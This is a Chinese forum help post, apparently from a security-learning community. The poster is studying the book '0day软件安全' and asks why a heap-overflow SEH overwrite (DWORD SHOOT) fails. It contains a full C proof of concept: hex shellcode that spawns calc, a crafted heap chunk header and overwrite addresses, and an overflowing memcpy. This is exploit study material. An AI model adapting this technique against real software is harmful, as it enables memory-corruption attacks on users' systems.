-
-
[旧帖]
[求助]关于0day软件安全一书中DWORD SHOOT问题
0.00雪花
-
-
[旧帖] [求助]关于0day软件安全一书中DWORD SHOOT问题
0.00雪花
由于目前是临时会员,只好把帖子发在这儿了,管理员大大不要介意啊~~~
最近看王清的0day软件安全一书,碰到一个头疼的问题,弄了一天还是没弄好,如下:
page184:在堆溢出中利用S.E.H
代码如下:
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
char mybuf[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xF4\x53\x56\xBF\x4D\x11\x86"
"\x7C\xFF\xD7\x53\xBF\x7E\x9E\xC0\x77\xFF\xD7"
"\x2A\x01\x06\x00\x00\x10\x00\x00"
"\x88\x06\x41\x00\xe8\xff\x3d\x00";
DWORD MyExceptionhandler(void)
{
ExitProcess(1);
}
int main(int argc,char *argv[])
{
HANDLE hHeap;
char *buf1,*buf2;
hHeap=HeapCreate(0,0x1000,0xfffff);
buf1=HeapAlloc(hHeap,HEAP_ZERO_MEMORY,40);
memcpy(buf1,mybuf,56);
// __asm int 3
__try
{
buf2=HeapAlloc(hHeap,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionhandler()){}
return 0;
}
mybuf是一段弹出计算器的shellcode,单独测试的时候可以通过,但是在利用SEH的时候不行了,用OD attach查到的SEH如下:
shellcode的起始地址为0x00410688,但是不知道利用SEH的时候为啥不行?求大牛解释一下啊?非常着急
自己去掉try 和except之后发现报错。如下:这是不是就是出错的原因啊?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课